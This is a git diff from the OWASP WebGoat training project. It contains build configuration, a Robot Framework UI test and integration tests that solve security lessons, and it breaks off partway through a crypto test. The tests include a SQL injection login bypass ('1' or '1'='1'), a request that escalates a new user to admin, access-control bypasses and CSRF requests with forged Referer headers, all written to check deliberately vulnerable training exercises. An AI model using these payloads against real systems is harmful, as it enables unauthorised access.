owasp-webgoat@lists.owasp.org + http://lists.owasp.org/pipermail/owasp-webgoat/ + + + + + scm:git:git@github.com:WebGoat/WebGoat.git + scm:git:git@github.com:WebGoat/WebGoat.git + HEAD https://github.com/WebGoat/WebGoat + - - OWASP - https://webgoat.github.io/ - + + Github Issues + https://github.com/WebGoat/WebGoat/issues + - - org.springframework.boot - spring-boot-starter-parent - 1.5.12.RELEASE - + - - - GNU General Public License, version 2 - https://www.gnu.org/licenses/gpl-2.0.txt - - - - - - mayhew64 - Bruce Mayhew - webgoat@owasp.org - OWASP - https://github.com/WebGoat/WebGoat - - - nbaars - Nanne Baars - nanne.baars@owasp.org - https://github.com/nbaars - Europe/Amsterdam - - - misfir3 - Jason White - jason.white@owasp.org - - - jwayman - Jeff Wayman - - - - dcowden - Dave Cowden - - - - lawson89 - Richard Lawson - - - - dougmorato - Doug Morato - doug.morato@owasp.org - OWASP - https://github.com/dougmorato - America/New_York - - https://avatars2.githubusercontent.com/u/9654?v=3&s=150 - - - - - - - OWASP WebGoat Mailing List - https://lists.owasp.org/mailman/listinfo/owasp-webgoat - Owasp-webgoat-request@lists.owasp.org - owasp-webgoat@lists.owasp.org - http://lists.owasp.org/pipermail/owasp-webgoat/ - - - - - https://github.com/WebGoat/WebGoat - scm:git:git@github.com:WebGoat/WebGoat.git - scm:git:git@github.com:WebGoat/WebGoat.git - HEAD - - - - Github Issues - https://github.com/WebGoat/WebGoat/issues - - - - Travis CI - https://travis-ci.org/WebGoat/WebGoat - - - - 1.8 - 1.8 - - - UTF-8 - UTF-8 - - - build - - - 1.1.1 - 1.4 - 1.4 - 1.4 - 1.4 - 1.9.1 - 2.7 - 3.2.1 - 2.1 - 0.5 - 1.3.1 - 2.4 - 3.4 - 4.0.0 - 2.2.5 - 2.2.4 - 18.0 - 1.4.190 - 2.3.4 - 1.3.1 - 2.6.3 - 2.6.3 - 6.0 - 1.2 - 1.7.12 - 1.3.1 - 4.12 - 1.5.4 - 3.3 - 2.19 - 1.6 - 2.6 - 2.10.4 - 2.5.2 - 3.0.1 - 2.19 - 1.6.6 - 2.11.7 - 2.1.20 - 2.48.2 - 3.2.4.RELEASE - 1.1.2 - 3.0.5 - 7.0.65 - 2.3-SNAPSHOT - 3.5.1 - 1.6.3 - - - - webgoat-container - webgoat-lessons - webgoat-server - webwolf - - - - - ossrh - https://oss.sonatype.org/content/repositories/snapshots - - - ossrh - https://oss.sonatype.org/service/local/staging/deploy/maven2/ - - - - - - apache.snapshots - http://repository.apache.org/snapshots/ - - - daily - - - daily - - - - - - - release - - - org.owasp.webgoat.lesson - dist - 1.0 - zip - provided - plugins - - - - - - org.apache.maven.plugins - maven-dependency-plugin - - - unpack-lesson - - unpack-dependencies - - generate-resources - - - ${project.basedir}/webgoat-container/src/main/webapp/plugin_lessons - - dist - *.jar - - - - - - org.sonatype.plugins - nexus-staging-maven-plugin - ${nexus-staging-maven-plugin.version} - true - - ossrh - https://oss.sonatype.org/ - false - - - - org.apache.maven.plugins - maven-source-plugin - ${maven-source-plugin.version} - - - attach-sources - - jar-no-fork - - - - - - org.apache.maven.plugins - maven-javadoc-plugin - ${maven-javadoc-plugin.version} - - - attach-javadocs - - jar - - - - - - org.apache.maven.plugins - maven-gpg-plugin - ${maven-gpg-plugin.version} - - - sign-artifacts - verify - - sign - - - WebGoat - - - - - - - - + + 2.5.3 + 3.3.7 + 2.2 + + 3.1.2 + 3.2.1 + 2.6 + 3.12.0 + 1.9 + 30.1-jre + 17 + 0.9.1 + 0.7.6 + 3.5.1 + 1.14.3 + 3.8.0 + 2.22.0 + 3.1.2 + 3.1.1 + 3.1.0 + 3.0.0-M5 + 17 + 17 + 3.15.0 + + UTF-8 + UTF-8 + 3.0.15.RELEASE + 4.3.1 + 8080 + 9090 + 2.27.2 + 1.2 + 1.4.5 + + 1.5.2 + + - - org.projectlombok - lombok - provided - true - - - org.apache.commons - commons-exec - 1.3 - - - + + org.ow2.asm + asm + 9.1 + + + + org.apache.commons + commons-exec + 1.3 + + + org.asciidoctor + asciidoctorj + ${asciidoctorj.version} + + + + org.jsoup + jsoup + ${jsoup.version} + + + com.nulab-inc + zxcvbn + ${zxcvbn.version} + + + com.thoughtworks.xstream + xstream + ${xstream.version} + + + cglib + cglib-nodep + ${cglib.version} + + + xml-resolver + xml-resolver + ${xml-resolver.version} + + + io.jsonwebtoken + jjwt + ${jjwt.version} + + + com.google.guava + guava + ${guava.version} + + + commons-io + commons-io + ${commons-io.version} + + + org.apache.commons + commons-text + ${commons-text.version} + + + org.bitbucket.b_c + jose4j + ${jose4j.version} + + + org.webjars + bootstrap + ${bootstrap.version} + + + org.webjars + jquery + ${jquery.version} + + + com.github.tomakehurst + wiremock + ${wiremock.version} + + + io.github.bonigarcia + webdrivermanager + ${webdriver.version} + + + org.apache.commons + commons-compress + 1.21 + + + org.jruby + jruby + 9.3.6.0 + + + + + + + org.apache.commons + commons-exec + + + org.springframework.boot + spring-boot-starter-validation + + + org.projectlombok + lombok + provided + true + + + javax.xml.bind + jaxb-api + + + org.springframework.boot + spring-boot-starter-undertow + + + org.springframework.boot + spring-boot-starter-web + + + org.springframework.boot + spring-boot-starter-tomcat + + + + + org.springframework.boot + spring-boot-starter-actuator + + + org.flywaydb + flyway-core + + + org.asciidoctor + asciidoctorj + + + org.springframework.boot + spring-boot-starter-data-jpa + + + org.springframework.boot + spring-boot-starter-security + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + org.thymeleaf.extras + thymeleaf-extras-springsecurity5 + + + org.hsqldb + hsqldb + + + org.jsoup + jsoup + + + com.nulab-inc + zxcvbn + + + com.thoughtworks.xstream + xstream + + + cglib + cglib-nodep + + + xml-resolver + xml-resolver + + + io.jsonwebtoken + jjwt + + + com.google.guava + guava + + + commons-io + commons-io + + + org.apache.commons + commons-lang3 + + + org.apache.commons + commons-text + + + org.bitbucket.b_c + jose4j + + + org.webjars + bootstrap + + + org.webjars + jquery + + + org.glassfish.jaxb + jaxb-runtime + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.security + spring-security-test + test + + + com.github.tomakehurst + wiremock + test + + + io.rest-assured + rest-assured + test + + + + + + + false + + central + https://repo.maven.apache.org/maven2 + + + + + + false + + central + https://repo.maven.apache.org/maven2 + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + true + true + org.owasp.webgoat.server.StartWebGoat + + + + org.asciidoctor + asciidoctorj + + + + + + + repackage + + + + + + org.codehaus.mojo + build-helper-maven-plugin + + + add-integration-test-source-as-test-sources + + add-test-source + + generate-test-sources + + + src/it/java + + + + + + + org.apache.maven.plugins + maven-failsafe-plugin + + + ${basedir}/src/test/resources/logback-test.xml + + -Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port} + org/owasp/webgoat/*Test + + + + integration-test + + integration-test + + + + verify + + verify + + + + + + org.apache.maven.plugins + maven-surefire-plugin + ${maven-surefire-plugin.version} + + --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED + --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED + --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED + --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED + + **/*IntegrationTest.java + src/it/java + org/owasp/webgoat/*Test + + + + + org.apache.maven.plugins + maven-checkstyle-plugin + ${checkstyle.version} + + UTF-8 + true + true + config/checkstyle/checkstyle.xml + config/checkstyle/suppressions.xml + checkstyle.suppressions.file + + + + com.diffplug.spotless + spotless-maven-plugin + 2.29.0 + + + + + .gitignore + + + + + true + 4 + + + + + + **/*.md + + + + + + + + true + + + + + UTF-8 + ${line.separator} + true + false + true + 2 + false + false + recommended_2008_06 + true + true + true + + + + + + + check + + + + + + org.apache.maven.plugins + maven-enforcer-plugin + 3.0.0 + + + restrict-log4j-versions + + enforce + + validate + + + + + org.apache.logging.log4j:log4j-core + + + + true + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 17 + 17 + + + + + + + + local-server + + + start-server + + true + + - - org.apache.maven.plugins - maven-release-plugin - ${maven-release-plugin.version} + + org.codehaus.mojo + build-helper-maven-plugin + + + reserve-container-port + + reserve-network-port + + process-resources - true - false - release - @{project.version} - deploy + + webgoat.port + webwolf.port + jmxPort + - - - org.eluder.coveralls - coveralls-maven-plugin - ${coveralls-maven-plugin.version} + + + + + com.bazaarvoice.maven.plugins + process-exec-maven-plugin + 0.9 + + + start-jar + + start + + pre-integration-test - + ${project.build.directory} + + java + -jar + -Dlogging.pattern.console= + -Dspring.main.banner-mode=off + -Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat + -Dwebgoat.port=${webgoat.port} + -Dwebwolf.port=${webwolf.port} + --add-opens + java.base/java.lang=ALL-UNNAMED + --add-opens + java.base/java.util=ALL-UNNAMED + --add-opens + java.base/java.lang.reflect=ALL-UNNAMED + --add-opens + java.base/java.text=ALL-UNNAMED + --add-opens + java.desktop/java.beans=ALL-UNNAMED + --add-opens + java.desktop/java.awt.font=ALL-UNNAMED + --add-opens + java.base/sun.nio.ch=ALL-UNNAMED + --add-opens + java.base/java.io=ALL-UNNAMED + --add-opens + java.base/java.util=ALL-UNNAMED + ${project.build.directory}/webgoat-${project.version}.jar + + false + http://localhost:${webgoat.port}/WebGoat/ - - - org.codehaus.mojo - cobertura-maven-plugin - ${cobertura-maven-plugin.version} - - - xml - 256m - - true - - - - com.versioneye - versioneye-maven-plugin - ${versioneye-maven-plugin.version} - - a1e4a9da4ed34ee44cab - 562da95be346d7000e0369ac - - + + + stop-jar-process + + stop-all + + post-integration-test + + + - + + + + owasp + + false + + + + + org.owasp + dependency-check-maven + 6.5.1 + + 7 + false + false + + + ${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml + + + + + + check + + + + + + + + diff --git a/robot/README.md b/robot/README.md new file mode 100644 index 000000000..5ed805c9f --- /dev/null +++ b/robot/README.md @@ -0,0 +1,19 @@ +# Install and use Robotframework + +## Install Chromedriver on Mac OS + + brew install cask chromedriver + chromedriver --version + +Then see security settings and allow the file to run + +## Install + + pip3 install virtualenv --user + python3 -m virtualenv .venv + source .venv/bin/activate + pip install robotframework + pip install robotframework-SeleniumLibrary + pip install webdriver-manager + robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot + diff --git a/robot/goat.robot b/robot/goat.robot new file mode 100644 index 000000000..972fdf421 --- /dev/null +++ b/robot/goat.robot @@ -0,0 +1,101 @@ +*** Settings *** +Documentation Setup WebGoat Robotframework tests +Library SeleniumLibrary timeout=100 run_on_failure=Capture Page Screenshot +Library String + +Suite Setup Initial_Page ${ENDPOINT} ${BROWSER} +Suite Teardown Close_Page + +*** Variables *** +${BROWSER} chrome +${SLEEP} 100 +${DELAY} 0.25 +${ENDPOINT} http://127.0.0.1:8080/WebGoat +${ENDPOINT_WOLF} http://127.0.0.1:9090 +${USERNAME} robotuser +${PASSWORD} password +${HEADLESS} ${FALSE} + +*** Keywords *** +Initial_Page + [Documentation] Check the inital page + [Arguments] ${ENDPOINT} ${BROWSER} + Log To Console Start WebGoat UI Testing + IF ${HEADLESS} + Open Browser ${ENDPOINT} ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat + ELSE + Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat + END + IF ${HEADLESS} + Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf + ELSE + Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf + END + Switch Browser webgoat + Maximize Browser Window + Set Window Size ${1400} ${1000} + Switch Browser webwolf + Maximize Browser Window + Set Window Size ${1400} ${1000} + Set Window Position ${400} ${200} + Set Selenium Speed ${DELAY} + +Close_Page + [Documentation] Closing the browser + Log To Console ==> Stop WebGoat UI Testing + IF ${HEADLESS} + Switch Browser webgoat + Close Browser + Switch Browser webwolf + Close Browser + END + +*** Test Cases *** + +Check_Initial_Page + Switch Browser webgoat + Page Should Contain Username + Click Button Sign in + Page Should Contain Invalid username + Click Link /WebGoat/registration + +Check_Registration_Page + Page Should Contain Username + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Input Text matchingPassword ${PASSWORD} + Click Element agree + Click Button Sign up + +Check_Welcome_Page + Page Should Contain WebGoat + Go To ${ENDPOINT}/login + Page Should Contain Username + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Click Button Sign in + Page Should Contain WebGoat + +Check_Menu_Page + Click Element css=a[category='Introduction'] + Click Element Introduction-WebGoat + CLick Element Introduction-WebWolf + Click Element css=a[category='General'] + CLick Element General-HTTPBasics + Click Element xpath=//*[.='2'] + Input Text person ${USERNAME} + Click Button Go! + ${OUT_VALUE} Get Text xpath=//div[contains(@class, 'attack-feedback')] + ${OUT_RESULT} Evaluate "resutobor" in """${OUT_VALUE}""" + IF not ${OUT_RESULT} + Fail "not ok" + END + +Check_WebWolf + Switch Browser webwolf + location should be ${ENDPOINT_WOLF}/WebWolf + Go To ${ENDPOINT_WOLF}/mail + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Click Button Sign In + diff --git a/scripts/build-all.sh b/scripts/build-all.sh deleted file mode 100644 index 7835dff20..000000000 --- a/scripts/build-all.sh +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/env bash - -cd .. - -nc -zv 127.0.0.1 8080 2>/dev/null -SUCCESS=$? -nc -zv 127.0.0.1 9090 2>/dev/null -SUCCESS=${SUCCESS}$? - -if [[ "${SUCCESS}" -eq 00 ]] ; then - echo "WebGoat and or WebWolf are still running, please stop them first otherwise unit tests might fail!" - exit 127 -fi - - -mvn clean install -if [[ "$?" -ne 0 ]] ; then - exit y$? -fi - -cd - -sh build_docker.sh -if [[ "$?" -ne 0 ]] ; then - exit y$? -fi - -while true; do - read -p "Do you want to run docker-compose?" yn - case ${yn} in - [Yy]* ) sh clean-run-docker-compose.sh; break;; - [Nn]* ) exit;; - * ) echo "Please answer yes or no.";; - esac -done diff --git a/scripts/build_docker.sh b/scripts/build_docker.sh deleted file mode 100644 index a6df2a453..000000000 --- a/scripts/build_docker.sh +++ /dev/null @@ -1,10 +0,0 @@ -#!/bin/bash - -WEBGOAT_HOME=$(pwd)/../ - -cd ${WEBGOAT_HOME}/webgoat-server -docker build -t webgoat/webgoat-v8.0.0.snapshot . - -cd ${WEBGOAT_HOME}/webwolf -docker build -t webgoat/webwolf-v8.0.0.snapshot . - diff --git a/scripts/clean-run-docker-compose.sh b/scripts/clean-run-docker-compose.sh deleted file mode 100644 index b1e493b87..000000000 --- a/scripts/clean-run-docker-compose.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/usr/bin/env bash - -cd .. -docker-compose rm -f -docker-compose -f docker-compose-local.yml up diff --git a/scripts/deploy-webgoat.sh b/scripts/deploy-webgoat.sh deleted file mode 100644 index 4115a90e8..000000000 --- a/scripts/deploy-webgoat.sh +++ /dev/null @@ -1,36 +0,0 @@ -#!/usr/bin/env bash - -docker login -u $DOCKER_USER -p $DOCKER_PASS -export REPO=webgoat/webgoat-8.0 - -cd webgoat-server -ls target/ - -if [ ! -z "${TRAVIS_TAG}" ]; then - # If we push a tag to master this will update the LATEST Docker image and tag with the version number - docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} . - docker push $REPO -#elif [ ! -z "${TRAVIS_TAG}" ]; then -# # Creating a tag build we push it to Docker with that tag -# docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest . -# docker push $REPO -#elif [ "${BRANCH}" == "develop" ]; then -# docker build -f Dockerfile -t $REPO:snapshot . -# docker push $REPO -else - echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" -fi - - -export REPO=webgoat/webwolf -cd .. -cd webwolf -ls target/ - -if [ ! -z "${TRAVIS_TAG}" ]; then - # If we push a tag to master this will update the LATEST Docker image and tag with the version number - docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} . - docker push $REPO -else - echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" -fi \ No newline at end of file diff --git a/scripts/run-docker-compose.sh b/scripts/run-docker-compose.sh deleted file mode 100644 index 4ed58bcf0..000000000 --- a/scripts/run-docker-compose.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/usr/bin/env bash - -cd .. -docker-compose up diff --git a/scripts/start.sh b/scripts/start.sh deleted file mode 100644 index 3380882af..000000000 --- a/scripts/start.sh +++ /dev/null @@ -1,18 +0,0 @@ -#!/usr/bin/env bash - -DATABASE_PORT=9001 - -checkDatabaseAvailable(){ - - #for i in $(seq 1 5); do command && s=0 && break || s=$? && sleep 15; done; (exit $s) - local started = $(netstat -lnt | grep ${DATABASE_PORT}) - echo $? -} - -#java -Djava.security.egd=file:/dev/./urandom -jar home/webgoat/webgoat.jar --server.address=0.0.0.0 -$(checkDatabaseAvailable) - - -#java -Djava.security.egd=file:/dev/./urandom -jar /home/webwolf/webwolf.jar --server.port=9090 --server.address=0.0.0.0 - - diff --git a/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java b/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java new file mode 100644 index 000000000..d57661f9a --- /dev/null +++ b/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java @@ -0,0 +1,86 @@ +package org.owasp.webgoat; + + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import org.apache.http.HttpStatus; +import org.junit.jupiter.api.Test; + +import java.util.Map; + +class AccessControlIntegrationTest extends IntegrationTest { + + @Test + void testLesson() { + startLesson("MissingFunctionAC", true); + assignment1(); + assignment2(); + assignment3(); + + checkResults("/access-control"); + } + + private void assignment3() { + //direct call should fail if user has not been created + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users-admin-fix")) + .then() + .statusCode(HttpStatus.SC_FORBIDDEN); + + //create user + var userTemplate = """ + {"username":"%s","password":"%s","admin": "true"} + """; + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .body(String.format(userTemplate, this.getUser(), this.getUser())) + .post(url("/WebGoat/access-control/users")) + .then() + .statusCode(HttpStatus.SC_OK); + + //get the users + var userHash = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users-admin-fix")) + .then() + .statusCode(200) + .extract() + .jsonPath() + .get("find { it.username == \"Jerry\" }.userHash"); + + checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true); + } + + private void assignment2() { + var userHash = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users")) + .then() + .statusCode(200) + .extract() + .jsonPath() + .get("find { it.username == \"Jerry\" }.userHash"); + + checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true); + } + + private void assignment1() { + var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config"); + checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true); + } +} diff --git a/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java b/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java new file mode 100644 index 000000000..01d22d1aa --- /dev/null +++ b/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java @@ -0,0 +1,259 @@ +package org.owasp.webgoat; + + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import lombok.Data; +import lombok.SneakyThrows; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; +import org.owasp.webgoat.container.lessons.Assignment; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.DynamicTest.dynamicTest; + +public class CSRFIntegrationTest extends IntegrationTest { + + private static final String trickHTML3 = "
\n" + + "\n" + + "\n" + + "
"; + + private static final String trickHTML4 = "
\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "
\n" + + ""; + + private static final String trickHTML7 = "
\n" + + "\n" + + "\n" + + "
"; + + private static final String trickHTML8 = "
\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "\n" + + "
"; + + private String webwolfFileDir; + + @BeforeEach + @SneakyThrows + public void init() { + startLesson("CSRF"); + webwolfFileDir = getWebWolfFileServerLocation(); + uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag"))); + uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review"))); + uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message"))); + uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser())); + } + + @TestFactory + Iterable testCSRFLesson() { + return Arrays.asList( + dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))), + dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))), + dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))), + dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))) + ); + } + + @AfterEach + public void shutdown() throws IOException { + //logout(); + login();//because old cookie got replaced and invalidated + startLesson("CSRF", false); + checkResults("/csrf"); + } + + private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException { + + //remove any left over html + Path webWolfFilePath = Paths.get(webwolfFileDir); + if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) { + Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName))); + } + + //upload trick html + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .multiPart("file", htmlName, htmlContent.getBytes()) + .post(webWolfUrl("/WebWolf/fileupload")) + .then() + .extract().response().getBody().asString(); + } + + private String callTrickHtml(String htmlName) { + String result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName)) + .then() + .extract().response().getBody().asString(); + result = result.substring(8 + result.indexOf("action=\"")); + result = result.substring(0, result.indexOf("\"")); + + return result; + } + + private void checkAssignment3(String goatURL) { + String flag = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Referer", webWolfUrl("/files/fake.html")) + .post(goatURL) + .then() + .extract().path("flag").toString(); + + Map params = new HashMap<>(); + params.clear(); + params.put("confirmFlagVal", flag); + checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true); + } + + private void checkAssignment4(String goatURL) { + + Map params = new HashMap<>(); + params.clear(); + params.put("reviewText", "test review"); + params.put("stars", "5"); + params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness + + boolean result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Referer", webWolfUrl("/files/fake.html")) + .formParams(params) + .post(goatURL) + .then() + .extract().path("lessonCompleted"); + assertEquals(true, result); + + } + + private void checkAssignment7(String goatURL) { + Map params = new HashMap<>(); + params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}"); + + String flag = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Referer", webWolfUrl("/files/fake.html")) + .contentType(ContentType.TEXT) + .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}") + .post(goatURL) + .then() + .extract().asString(); + flag = flag.substring(9 + flag.indexOf("flag is:")); + flag = flag.substring(0, flag.indexOf("\"")); + + params.clear(); + params.put("confirmFlagVal", flag); + checkAssignment(url("/WebGoat/csrf/feedback"), params, true); + + } + + private void checkAssignment8(String goatURL) { + + //first make sure there is an attack csrf- user + registerCSRFUser(); + + Map params = new HashMap<>(); + params.clear(); + params.put("username", "csrf-" + this.getUser()); + params.put("password", "password"); + + //login and get the new cookie + String newCookie = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Referer", webWolfUrl("/files/fake.html")) + .params(params) + .post(goatURL) + .then() + .extract().cookie("JSESSIONID"); + + //select the lesson + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", newCookie) + .get(url("CSRF.lesson.lesson")) + .then() + .statusCode(200); + + //click on the assignment + boolean result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", newCookie) + .post(url("/csrf/login")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"); + + assertThat(result).isTrue(); + + login(); + startLesson("CSRF", false); + + Overview[] assignments = RestAssured.given() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/service/lessonoverview.mvc")) + .then() + .extract() + .jsonPath() + .getObject("$", Overview[].class); +// assertThat(assignments) +// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin")) +// .extracting(o -> o.solved) +// .containsExactly(true); + } + + @Data + private static class Overview { + Assignment assignment; + boolean solved; + } + + /** + * Try to register the new user. Ignore the result. + */ + private void registerCSRFUser() { + + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .formParam("username", "csrf-" + this.getUser()) + .formParam("password", "password") + .formParam("matchingPassword", "password") + .formParam("agree", "agree") + .post(url("register.mvc")); + + } + +} diff --git a/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java b/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java new file mode 100644 index 000000000..f4f8152c7 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java @@ -0,0 +1,112 @@ +package org.owasp.webgoat; + + +import io.restassured.RestAssured; +import org.junit.jupiter.api.Test; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import static org.junit.jupiter.api.Assertions.assertTrue; + + +public class ChallengeIntegrationTest extends IntegrationTest { + + @Test + public void testChallenge1() { + startLesson("Challenge1"); + + byte[] resultBytes = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/challenge/logo")) + .then() + .statusCode(200) + .extract().asByteArray(); + + String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220)); + Map params = new HashMap<>(); + params.clear(); + params.put("username", "admin"); + params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode)); + + + checkAssignment(url("/WebGoat/challenge/1"), params, true); + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .post(url("/WebGoat/challenge/1")) + .then() + .statusCode(200) + .extract().asString(); + + String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); + params.clear(); + params.put("flag", flag); + checkAssignment(url("/WebGoat/challenge/flag"), params, true); + + + checkResults("/challenge/1"); + + List capturefFlags = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/scoreboard-data")) + .then() + .statusCode(200) + .extract().jsonPath() + .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); + assertTrue(capturefFlags.contains("Admin lost password")); + } + + @Test + public void testChallenge5() { + startLesson("Challenge5"); + + Map params = new HashMap<>(); + params.clear(); + params.put("username_login", "Larry"); + params.put("password_login", "1' or '1'='1"); + + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(params) + .post(url("/WebGoat/challenge/5")) + .then() + .statusCode(200) + .extract().asString(); + + String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42); + params.clear(); + params.put("flag", flag); + checkAssignment(url("/WebGoat/challenge/flag"), params, true); + + + checkResults("/challenge/5"); + + List capturefFlags = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("/WebGoat/scoreboard-data")) + .then() + .statusCode(200) + .extract().jsonPath() + .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured"); + assertTrue(capturefFlags.contains("Without password")); + } + +} diff --git a/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java b/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java new file mode 100644 index 000000000..21caef469 --- /dev/null +++ 